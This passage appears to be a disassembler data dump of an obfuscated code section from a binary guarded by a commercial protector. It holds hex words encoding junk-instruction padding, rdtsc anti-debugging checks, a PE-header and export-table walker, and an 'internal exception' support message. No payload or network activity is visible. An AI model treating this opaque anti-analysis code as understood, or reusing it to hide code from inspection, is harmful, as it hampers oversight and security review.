5E9h, 0DDB38E00h, 0F920C38h, 1089h, 0BB666000h, 5E90193h dd 8D000000h, 646A7D88h, 52505061h, 6E9h, 390D4A00h, 0F479D2Bh dd 50525031h, 5A310F52h, 0E9310F58h, 0Bh, 51FDC756h, 749A87ACh dd 5A935FFBh, 92585A58h, 0C860Fh, 66600000h, 7669F281h dd 8ACF8166h, 10F61F7h, 0FFE244Ch, 0C83h, 7E900h, 0FF850000h dd 80D8033Fh, 6A5A3Dh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 77361AC3h, 1A5F6C5Ah, 5E960h, 0CFC90000h dd 527F4525h, 0BE9h, 4D3EB500h, 0C3D68D7Eh, 0CB777D2Fh dd 0C283615Eh, 0EE86024h, 8B000000h, 0FB5941D6h, 0BA142982h dd 8CA7AA96h, 51DC80C9h, 12E95Ah, 973A0000h, 38C3B962h dd 736A02h, 0D5A45A3Fh, 0C7ABBD20h, 72896661h, 0CEC1F8FCh dd 0DE9F810h, 18000000h, 0A4C5A6C5h, 273152EEh, 59F1B22Ch dd 2728966h, 6A04CDF9h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0E161C356h, 0A9F44F30h dd 0F8B3FB7h, 0A85h, 0C68B6000h, 810Fh, 0E9610000h, 9Eh dd 0A1DFBB60h, 0BE84200h, 87000000h, 98E4D674h, 9A47BB93h dd 615913B4h, 7892858Bh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 680EA5C3h, 78C43AF8h dd 0B58DCAE4h, 64B7798h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 13C35242h, 1A1A5A3Dh, 0F60F15Ah, 0D88BD7BFh dd 1870F61h, 0F8000000h, 47B4858Dh, 6A064Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FFD24CC3h dd 8589F8D0h, 64B716Dh, 8E9h, 0F8045500h, 1FDDD896h, 8060616Dh dd 55B2D8F3h, 6D858B61h, 0F9064B71h, 6AC3F8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0AE93BC3h dd 22000000h, 60B2888h, 0CD819B71h, 6A6048h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F96501C3h dd 7E960h, 33D70000h, 0DB3AE906h, 6870FD8h, 0F000000h dd 8Ch, 0BD836100h, 64B7892h, 69850F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 773DC351h, 0FA99770Bh, 0F807DF31h, 9285C7FCh, 3F064B78h dd 6A000101h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0AB0CC353h, 0B9606A74h, 11380BE8h dd 61C8BF0Fh, 0A8A0Fh, 8B600000h, 890FF3h, 61000000h, 44E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 88BE09ABh, 0F5EE9174h, 1B830Fh, 0E9600000h dd 0Fh, 0AE6F4F31h, 0E1E2868Ch, 8FA597F3h, 66275AA8h, 1BA8D881h dd 20CD61h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 64B7175h dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 64B7171h, 7F34583Bh dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 64B716Dh, 8B04EBh dd 8B61C5EBh, 4B716D85h, 6ACF06h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0E92AEBC3h, 5, 90E3458h dd 12E91Bh, 5B4D0000h, 78E75754h, 70913EB1h, 25EB9426h dd 0A7078D69h, 0DE8C08Bh, 49000000h, 589A6326h, 1337B4DEh dd 9A4CBBBAh, 6E9h, 514DE300h, 5EF030DCh, 81FABF0Fh, 7296C6h dd 6E85200h, 92000000h, 0D5B56731h, 5E997h, 944E0000h dd 5A7F0A73h, 1C6E6858h, 0BF0F0000h, 81665BC2h, 8B2D6DEAh dd 84C2800Eh, 282F181h, 0CE96DC0h, 6B000000h dd 971A6958h, 8950C642h, 81C14E37h, 90C4BBF1h, 0F181F964h dd 238F3EB4h, 0E0A9BDBFh, 8D0F5151h, 0 dd 0AE9068Fh, 1B000000h, 4FBEE627h, 5CB78012h, 0AEE81CCh dd 8A4A00C2h, 6C681C2h, 0F4A00C2h, 83h, 1EB8300h, 13850Fh dd 0D4BF0000h, 0E9404802h, 2Dh, 0CB7CFFCCh, 30D942F0h dd 14E957h, 59810000h, 5BF3E5BBh, 4328B0C2h, 4F69D768h dd 0B9DB2197h, 6CE9612Ah, 6AFFFFFFh, 0D8EF32E0h, 83E9CCh dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch dd 83202454h, 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 0Eh dd 9FFCD22Dh, 6D2B2983h, 0A65AF135h, 8B66232Ch, 0DE95EFBh dd 0F9000000h, 10097572h, 0C5C671EBh, 84539A84h, 5BDFC681h dd 0BAB60000h, 68h, 0C8CA8100h, 5B4EE375h, 1E0C8BF8h, 0AB7AC7B8h dd 0DCC18113h, 0E964E83Eh, 12h, 42E0DA5Ah, 0ABFC9EE9h dd 0DE83084h, 9DE983DFh, 0C181420Dh, 431F87CAh, 0E981C18Bh dd 60CD3F68h, 45705BB8h, 8FF55177h, 11E91E04h, 3E000000h dd 0B48FE166h, 0F3628176h, 0E2A867EEh, 0E3767663h, 83D3B70Fh dd 850F04EBh, 4, 0E10DBF66h, 0A4C8FB81h, 850FFFFFh, 0FFFFFF91h dd 0E9D0BF0Fh, 400h, 0 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 10h dd 0E4h dup(0) dd 56h, 45h, 0 dd 110BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0C5858B40h, 6A064827h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 7F2DC350h, 4439F506h, 850F0424h, 36h, 0BDBD83F8h, 64808h dd 28840Fh, 8DFC0000h, 4838BA85h, 0E0FFF806h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ADC35343h, 858B208Fh dd 6482F2Dh, 58E0F60h, 66000000h, 0E18DD281h, 12E9h, 53E3DF00h dd 578145BFh, 67542B0Ah, 0D16B5FEh, 61E0FCCDh, 0EC99529h dd 44390648h, 850F0424h, 2Ch, 0CE9h, 0ED066F00h, 5EEA56D3h dd 0F46B0380h, 3B85C7E5h, 1064B7Fh, 0E9000000h, 0Ch, 0ECED296Dh dd 0D43DBD6Ah, 0F917793h, 0F19D3160h, 0E9064822h, 39h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2EC35343h dd 0F8005639h, 0F2C53E2h, 683h, 0F1952900h, 29064805h dd 4815358Dh, 6, 1B800h, 85870000h, 64B806Ch, 0F675C00Bh dd 0FF9B5FFh, 858F0648h, 64B7F33h, 0FF6A206Ah, 203995FFh dd 0BD830648h, 6480ABDh, 6A087400h, 2D95FF00h, 83064809h dd 4805B5BDh, 0D740106h, 8068h, 0FFFF6A00h, 48203995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 8509FC42h, 6480A0Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 6BC35343h, 48A4AF5Dh, 8589DDF2h dd 6480BFDh, 659D8B60h, 8B064828h, 48151595h, 0B86106h dd 9000000h, 482F519Dh, 24548B06h, 9D896028h, 64805F9h dd 7E8h, 39C40100h, 5B83F19Ch, 164D9D0Bh, 615F0648h, 10858589h dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 92E390C3h, 0B4C9773Bh, 880F9BD8h, 6, 1595BD89h dd 3CBE0648h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 9551C355h, 0C64727A2h dd 0E9EB5FC3h, 6, 0ED889D72h, 3F80515h, 0F242474h, 68Ah dd 6D958900h, 6606480Fh, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 384256Ch, 0F242444h, 0C8Dh dd 6810F00h, 89000000h, 4814A98Dh, 14E99006h, 0BC000000h dd 0EB1F2BB3h, 0F7C48786h, 0F2CD53D9h, 0D0ADED90h, 50120319h dd 9E95250h, 0E4000000h, 2C26DE6h, 1BE2B09Ch, 5250310Fh dd 310F6160h, 310F5250h, 585A585Ah, 6A90585Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 35AC353h, 0DCAE7FC5h, 6810F07h, 89000000h, 480D158Dh dd 408BF806h, 2DBD8978h, 8306480Ah, 4B7F3BBDh, 850F0006h dd 0FAh, 9E9h, 7F6E400h, 4A5C3506h, 0F9070DAh, 1B85h, 0BA666000h dd 0FE8A333h, 0E4000000h, 7397416Ch, 0D6E7A5BFh, 0FE82245h dd 615FEA04h, 0BBB46050h, 0AE8h, 9C501300h, 644A4E7Eh dd 0FA087E2h, 89h, 90615800h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 12C35040h, 16E2A64h, 48005995h dd 13E906h, 1B2C0000h, 11729D8Ch, 54E1DD72h, 0FB40F795h dd 6837539Bh, 24448BFBh, 5090F52Ch, 61606052h, 0F61A3B7h dd 6850F31h, 0F000000h, 8Eh, 50585A00h, 10E9h, 9E9E3B00h dd 13D4BD8Bh, 3DEA7F21h, 29E8ECEBh, 60609052h, 0AE8h, 8447D500h dd 5C67529Ch, 5A906DDCh, 2371850Bh, 9610648h, 480655B5h dd 858D6106h, 64B4856h, 2E958529h, 0D0FF0648h, 899D8B60h dd 8B064816h, 480D758Dh, 44036106h, 60602824h, 93B2D181h dd 0BD294461h, 6482405h, 850F5261h, 0 dd 800F615Bh, 1, 18408BF8h, 10998D89h, 0F8400648h, 7F378589h dd 870F064Bh, 6, 1A618509h, 95890648h, 64827FDh, 0DE958h dd 61600000h, 0CD9B637h, 4753AB89h, 8B40B1A2h, 8D897870h dd 6481AB5h, 0E91CC683h, 14h, 79D5EFE5h, 935D4744h, 0A86F792Eh dd 6D19C2BAh, 0B5E6FCEBh, 0AE996h, 1E280000h, 0BE4E6ADFh dd 3E88B867h, 24247C81h, 10000000h, 0D8870Fh, 90FC0000h dd 0CE9h, 7B578800h, 67103562h, 0B3678F2Ah, 6E95064h, 42000000h dd 0F78E9C40h, 6A9073h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0EC904BC3h, 0E9D9A21Fh, 0Dh, 4FB4969Ch dd 3A9C828h, 8DDC7CE2h, 6E95Ch, 8B240000h, 0B95F21F3h dd 2824448Bh, 0AE9h, 8F20F700h, 26DD29FDh, 60B1E03Fh, 0F219589h dd 858B0648h, 6480EEDh, 13E95061h, 1E000000h, 4E96815h dd 0BD55D29Ch, 8318A68Eh, 0D8B1AAF0h, 4897EEEh, 99B52924h dd 2906480Bh, 48200185h, 56858D06h, 89064B48h, 481851BDh dd 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 44C9C356h, 0EE92FC97h, 6A96BD70h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0A626C353h, 30CB6A0h, 6A242474h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 8299C353h, 0FCDD4F8Fh, 8D014410h, 6481B75h, 1AC1BD8Dh dd 0BD290648h, 6480065h, 8870FADh, 0F000000h, 28Dh, 81616000h dd 24247Ch, 0F100000h, 10387h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 95160DA9h dd 53361E41h, 6E95020h, 94000000h, 2364116Ch, 240489BBh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CDC35545h dd 0C28BF5h, 29B58B60h, 89064813h, 480759B5h, 448B6106h dd 6A2824h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0A834A2C3h, 1860Fh, 90F90000h, 14E860h, 95B70000h dd 47F138E8h, 0DB537F20h, 0F2EE04D3h, 6D9EA873h, 8A0F83EAh dd 0 dd 61F98B5Eh, 4860F50h, 60000000h, 9061FE8Bh, 12F99589h dd 858D0648h, 64B4856h, 1F800Fh, 840F0000h, 19h, 14E9h dd 42E87F00h, 0EB669821h, 947905FFh, 1FB37044h, 0C90613E3h dd 858960B5h, 6481365h, 26ED9589h, 0FF610648h, 1890FD0h dd 0F9000000h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0E5C35242h, 0D3211FC1h, 314A832Ah, 481A898Dh dd 6AAB06h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0E0FD64C3h, 0C58D894Fh, 0E9064805h, 0Ah dd 0DC266D1h, 0A0CCF7C1h, 0FA81C75Ch, 10000h, 73D820Fh dd 85010000h, 6482BF9h, 32D9BD8Dh, 6A0648h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7EF057C3h dd 81BD893Ah, 0AD06480Dh, 142DBD09h, 7C810648h, 2424h dd 870F1000h, 11Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 4FC35040h, 1C7B9926h, 60909288h, 32B1D1BFh dd 7E804h, 6260000h, 22395226h, 5BD58A54h, 52505061h, 61605250h dd 5250310Fh, 585A310Fh, 310F585Ah, 0BE9h, 0B521A900h dd 15A525EFh, 0DDE07B8Dh, 6A90585Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 45DC350h dd 0A5953140h, 29064823h, 4817B99Dh, 24448B06h, 519D8928h dd 5006481Ch, 0CE9h, 0AE40A400h, 0F1D9059Fh, 0E7A49C36h dd 240489FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0AAC35747h, 2DEFE4Eh, 60E5F2A0h, 58F0Fh, 40BF0000h dd 61531B10h, 4856858Dh, 7E9064Bh, 0CD000000h, 0C4A1D45Bh dd 8E0FA059h, 6, 2A098501h, 0D0FF0648h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 0FAC35040h, 5A068206h dd 29ED8589h, 44030648h, 95892424h, 6482B89h, 0FE950h dd 442A0000h, 0CC0A4E3Eh, 1355B045h, 4E42CFD0h, 24048926h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 89C35242h dd 2D6B5A14h, 60F77A1Ch, 14018D8Bh, 0AB610648h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 90C35545h, 4BB70585h dd 12E9h, 0F91E7A00h, 53E14228h, 744705D5h, 0F815AE16h dd 8D13B621h, 480881BDh, 659D8906h, 0AD064833h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 72C35141h, 358133C8h dd 6D59D29h, 7C810648h, 2824h, 870F1000h, 0B4h, 7E9h, 55AD600h dd 2ADA4456h, 8B666090h, 8C0FFBh, 61000000h, 50525050h dd 840F52h, 0F000000h, 5A616031h, 0F310F58h, 68Ah, 8D0F00h dd 5A000000h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0E56F4CC3h, 2C24448Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 1BC35141h, 899D0969h dd 5006482Ah, 0B880Fh, 6E90000h, 0BD000000h, 602C7D02h dd 240489D5h, 56858DFCh, 0E9064B48h, 0Bh, 581BE83Eh, 919A12F9h dd 898E7C94h, 4805E9B5h, 0F5D0FF06h, 28244403h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B6C35242h, 60B651E7h dd 6C247DB9h, 0AD958B20h, 6106480Bh, 0DFD8D01h, 0F8AB0648h dd 378DFF5Eh, 83064B7Fh, 4B7F37BDh, 0A750006h, 0B58DC033h dd 64B8D18h, 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h dd 502C2444h, 4856858Dh, 0D0FF064Bh, 28244403h, 8ADF8B97h dd 4B7F3385h, 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh dd 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah dd 8B6D68Ah, 66EBD166h, 973D8D1h, 50413566h, 49F38166h dd 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh dd 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 8585FF04h, 0E9064810h dd 0FFFFFF5Dh, 0FE95Eh, 0F9EC0000h, 7C6157FEh, 9746045h dd 0E3C21471h, 88F0FC4h, 0F000000h, 280h, 8B616000h, 48108585h dd 619D3106h, 106481Bh, 4819C995h, 89E0D106h, 4819D5BDh dd 81850306h, 6A064808h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 5FC8C350h, 0D25C5D06h dd 35B52915h, 0BE064805h, 0 dd 6A96FCh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0DF32F0C3h, 1E2441Eh, 4811A98Dh, 0B5B58906h dd 0F9064827h, 6AAD66h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0CA07AAC3h, 8E0FE2A1h, 6, 9E9BD89h dd 0BD010648h, 6480DFDh, 6A02E0C1h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0ACFCC355h dd 2B29BD29h, 85030648h, 6481AC1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0A2C35242h, 958912F4h, 64810E1h dd 0ADFC96FCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 56C35545h, 4535D941h, 9D01E1CFh, 648083Dh, 24247C81h dd 10000000h, 0FC870Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 2BB12FC3h, 9C8D9C55h dd 0F7F7805h, 18Bh, 0E950F800h, 5, 0F8C7ABBDh, 240489C3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1CC35242h dd 1FA9CC2Eh, 18E1F959h, 448BF5F4h, 6A2824h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 90D9BFC3h dd 0EE860h, 11F90000h, 87E9FDCFh, 0F6E92A71h, 0C654BC72h dd 8B586160h, 605061C8h, 8C0Fh, 90610000h, 56858DF5h, 6A064B48h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 7E65C355h, 51887155h, 89B6B160h, 480AF9B5h dd 0D0FF6106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0C0C35343h, 2C1DBD89h, 44030648h, 6A2424h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 1AB5AAC3h, 0FABB880Bh, 8B0FD3EBh, 1, 6860FFCh, 9000000h dd 4801ADBDh, 24448906h, 50006A1Ch, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 79731960h, 0CE9BAh, 8B3F0000h dd 77E3230Ch, 0D1576EE1h, 0B58928F0h, 6481335h, 18880Fh dd 13E90000h, 0F2000000h, 6D9EA873h, 3E8A83EAh, 0E4C757B4h dd 0C8AB97Bh, 85C63410h, 6480FF9h, 6C85C700h, 64B80h, 0C7000000h dd 4B7F3B85h, 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0E3E85691h, 5429C2AAh dd 9185091Dh, 9064805h, 481EE585h, 6A6106h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2122D4C3h dd 95018DF8h, 648203Dh, 6A0008C2h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 2201C350h dd 8B16534Ch, 481AC185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 68F0F05h, 89000000h, 481A6985h dd 6A4A06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 8D8965C3h, 648109Dh, 2DD9529h, 0D26B0648h dd 15858904h, 3064812h, 56006AC2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 1554E23h, 6AA34FB5h, 6A96342Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 35B5C357h, 3E269AC9h, 7F8229B8h, 51006AADh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0FC2C31A9h, 24247C81h, 10000000h, 15F870Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E2D7FBC3h, 0A3E26888h, 8E0F890Fh, 0Ah, 89D2B360h, 4830C195h dd 50906106h, 58536052h, 5E9h, 61607800h, 0F61B637h, 10830F31h dd 0E9000000h, 0Bh, 9C693262h, 52ADA741h, 5AB50D8Eh, 0E8605058h dd 0Ah, 374A9339h, 19D413D9h, 12E8BD3Fh, 38000000h, 51DF6B3Ch dd 7F7AD49Eh, 635A1C0Dh, 5390F8AEh, 8B5B59DAh, 6A9061FBh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0FD00C353h, 1B918529h, 85890648h, 648071Dh dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 90C35747h, 90738BA4h, 5A575160h, 6050615Ah, 0AFFD18B9h dd 10E8576Eh, 9C000000h, 34BB029Bh, 934D45C3h, 0B0A0D01Eh dd 5B705426h, 6A90615Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0EE1AC356h, 0E9EF6128h dd 0Ch, 0F3A68B49h, 8DB98452h, 4E6EE657h, 56858DF8h, 6A064B48h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0B1E9C351h, 31D0FFF9h, 48238985h, 0FC98E906h dd 5E9FFFFh, 0F1000000h, 7B3A095Fh, 93DA858Dh, 8D89064Bh dd 64826F1h, 870F6090h, 0 dd 9E960h, 7F7A0000h, 635A1C0Dh, 6690F8AEh, 61C3CEB8h dd 0EE95061h, 2A000000h, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah dd 85319059h, 6480D31h, 35FF64h, 0F000000h, 885h, 28E0F00h dd 60000000h, 24048B61h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0A9C35646h, 0D375DC04h, 0B526433Eh, 14E9CEh dd 0BE560000h, 0F7EC083Fh, 83E48F91h, 1468CADCh, 0EA5FBCABh dd 6660BF1Dh, 0B8C757BFh, 3765F21Fh, 0D9858961h, 3106480Fh dd 481EED95h, 68C0F06h, 29000000h, 482299B5h, 25896406h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A1C35646h dd 0C293F10Ch, 858DEB38h, 64B91A2h, 16089F5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 376B748Ah dd 2A2E990h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 3CA6AAC3h, 0A8A0F59h, 0E9000000h dd 5, 47346F75h, 0E8DB8B4Dh, 0 dd 9BED815Dh, 0BC064B91h, 12FF9Ch, 5B5BD83h, 74000648h dd 51858B18h, 0C6064815h, 858B0000h, 648289Dh, 0FF0000C6h dd 481AD995h, 0B5FF6006h, 64B7B3Fh, 7B43858Dh, 8D50064Bh dd 4B7D3B85h, 95FF5006h, 6482861h, 610CC483h, 6870F60h dd 8B000000h, 480A25BDh, 48B66006h, 322DB501h, 61610648h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 77C35545h dd 0FD8D231h, 68Dh, 0C9B50100h, 8D064811h, 4B7D3BB5h, 5D858906h dd 8D064814h, 481CE5BDh, 0AD950106h, 80064827h, 840F003Eh dd 66h, 11E9h, 0D61AEE00h, 0D232B532h, 914BFA1Bh, 1C009AFBh dd 6AA4921Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 6073C356h, 0DE4ECA92h, 89268152h dd 480DFDBDh, 0FFB1E906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B2E4A0C3h, 0B840D9h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 39DFC357h, 14EE8E75h, 2E759D29h dd 6AAA0648h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0BB7C355h, 18C0Fh, 0E9F80000h dd 14h, 36D3CD1Ah, 11A9F6FEh, 18D2711Fh, 57F6B40Fh, 0E5A860A9h dd 7B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0A8A96FE0h, 1083AE4h, 11E9h, 8E203000h dd 0C38DDB3h, 0CA4D325Eh, 0C02CDD7Fh, 85C745A8h, 6480A55h dd 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah dd 0B5C35747h, 0A1E4250Ch, 8D89A134h, 6481B45h, 4E808D8Dh dd 0FFFC0648h, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 296053C6h, 481275BDh dd 0CE806h, 2ECD0000h, 5CA8F193h, 0D59E604Fh, 59F5E7A2h dd 9D8B6061h, 6481EE5h, 9118D8Bh, 8B610648h, 550C245Ch dd 0E8h, 0ED815D00h, 64B93E4h, 0B8838Bh, 85890000h, 64B7B3Fh dd 9194858Dh, 8389064Bh, 0B8h, 0C3C0335Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 58C35242h, 9C601D85h dd 14E9F5AEh, 8D000000h, 9E32C99Dh, 0C8DAB277h, 948E3B6Bh dd 0E8942D33h, 60C8D201h, 1B3DBD8Bh, 8B660648h, 0F6061F1h dd 168Eh, 11E900h, 88FD0000h, 0AB50184Dh, 0CF6DB88h, 0BDA0F35Ch dd 8D3E312Bh, 4B967585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0E990C362h, 14h, 456347FAh dd 2F89F8ADh, 3F4EED63h, 84A02498h, 6437EF17h, 0A880F50h dd 50000000h, 0F616052h, 5A616031h, 6A9058h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0B787FFC3h dd 18F3D4DDh, 11E946h, 0E99E0000h, 6F7A6422h, 4876AD63h dd 225C4D04h, 0E9DA6659h, 12h, 58D70167h, 3B7BFE35h, 2C28537Eh dd 0FB3DFA5Dh, 8D290AE6h, 64822B1h, 35FF64h, 0F9000000h dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0CC2EC355h, 0F9591FA9h dd 9BD09E1h, 8D064820h, 4B96D685h, 91858906h, 89064805h dd 6A0160h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 2FE09DC3h, 2FB1EBD0h, 0F985C6F9h, 4F06480Fh dd 2FB99589h, 86680648h, 0E9BFA361h, 0Ch, 7D4815FEh, 0FAB15CAAh dd 0F93FF519h, 0A4240481h, 6A3F2512h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 2D3FC350h dd 0E960E0E8h, 10h, 2B484348h, 0BF522412h, 2595528Ah, 7B92ED3h dd 0EE8h, 9D5F2500h, 0E568F153h, 3EBC7C42h, 0F0AE9F6h dd 615ED2BFh, 29A9B5FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0F96549C3h, 7F60858Dh dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0E9707AC3h, 9E01FCFCh, 8978CB04h, 480C9195h dd 89D0FF06h, 480D218Dh, 85E906h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B26FA3C3h dd 927595E2h, 5C8B5BCDh, 0E8550C24h, 0 dd 7FED815Dh, 8B064B96h, 480ED585h, 0A9858906h, 8B064829h dd 482F2D85h, 0BD858906h, 8B064807h, 4827C585h, 69858906h dd 0C606481Ch, 480FF985h, 85C70006h, 64B806Ch, 0 dd 96D6858Dh, 8389064Bh, 0B8h, 0C3C0335Dh, 890F60h, 0F5000000h dd 0BCF5F961h, 12FF74h, 12E9h, 0D9B00h, 85827FC9h, 86B3493Fh dd 95BAAD9Fh, 648FD57Dh, 58Fh, 